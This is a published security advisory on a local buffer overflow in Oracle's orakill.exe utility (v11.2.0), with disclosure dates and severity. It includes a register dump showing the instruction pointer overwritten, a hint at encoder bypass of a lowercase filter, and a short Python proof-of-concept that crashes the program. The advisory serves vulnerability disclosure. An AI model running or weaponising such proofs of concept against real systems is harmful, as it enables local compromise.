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Oracle Orakill.exe Buffer Overflow



[+] Credits: hyp3rlinx 

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/ORACLE-ORAKILL.EXE-BUFFER-OVERFLOW.txt

[+] ISR: apparitionsec



Vendor:
==============
www.oracle.com



Product:
===================
orakill.exe v11.2.0


The orakill utility is provided with Oracle databases on Windows platforms. The executable (orakill.exe) is available to DBAs to kill Oracle
sessions directly from the DOS command line without requiring any connection to the database.


C:\oraclexe\app\oracle\product\11.2.0\server\bin>orakill.exe -h

Usage:  orakill sid thread

  where sid  = the Oracle instance to target
        thread = the thread id of the thread to kill

  The thread id should be retrieved from the spid column of a query such as:

        select spid, osuser, s.program from
        v$process p, v$session s where p.addr=s.paddr




Vulnerability Type:
===================
Buffer Overflow



Reference:
==========
http://www.oracle.com/technetwork/security-advisory/cpuapr2016v3-2985753.html



Vulnerability Details:
=====================

ToLower() filter being applied to supplied arguments e.g. 'A' \x41 beomes 'a' \x61 etc... may be possible to subvert using encoder
technique like "ALPHA3". Also we need to supply a second argument of just 4 bytes to trigger the access violation.

orakill.exe <104 bytes>, <4 bytes>

Register dump.

EAX 40000000
ECX 0018FCA8 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr"
EDX 00000000
EBX 61616161
ESP 0018FD10 ASCII "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr"
EBP 61616161
ESI 61616161
EDI 61616161
EIP 61616161
C 0  ES 002B 32bit 0(FFFFFFFF)
P 0  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 0  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1



Exploit code(s):
================

import subprocess

pgm="C:\\oraclexe\\app\\oracle\\product\\11.2.0\\server\\bin\\orakill.exe "

payload="A"*100 + "RRRR"
subprocess.Popen([pgm, payload, " BBBB"], shell=False)




Disclosure Timeline:
====================================
Vendor Notification:  October 5, 2015
Vendor Fix: April 25, 2016
June 13, 2016 : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
================
Low




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx